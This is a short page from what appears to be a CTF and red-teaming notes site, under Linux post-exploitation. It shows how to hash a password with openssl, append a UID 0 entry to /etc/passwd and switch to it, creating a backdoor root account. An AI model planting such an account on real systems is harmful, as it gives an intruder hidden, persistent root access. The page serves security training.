> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfnote/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfnote/red-teaming/post-exploitation/linux-post-exploitation/add-a-user.md).

# Add a User

Create the hash of the string "password":

```bash
$ openssl passwd password

1MXLZ7HqN6kT2
```

Add the following entry to `/etc/passwd`:

```
ret2basic:1MXLZ7HqN6kT2:0:0:root:/root:/bin/bash
```

Switch to that new user:

```bash
su ret2basic
```

This user has root privilege.
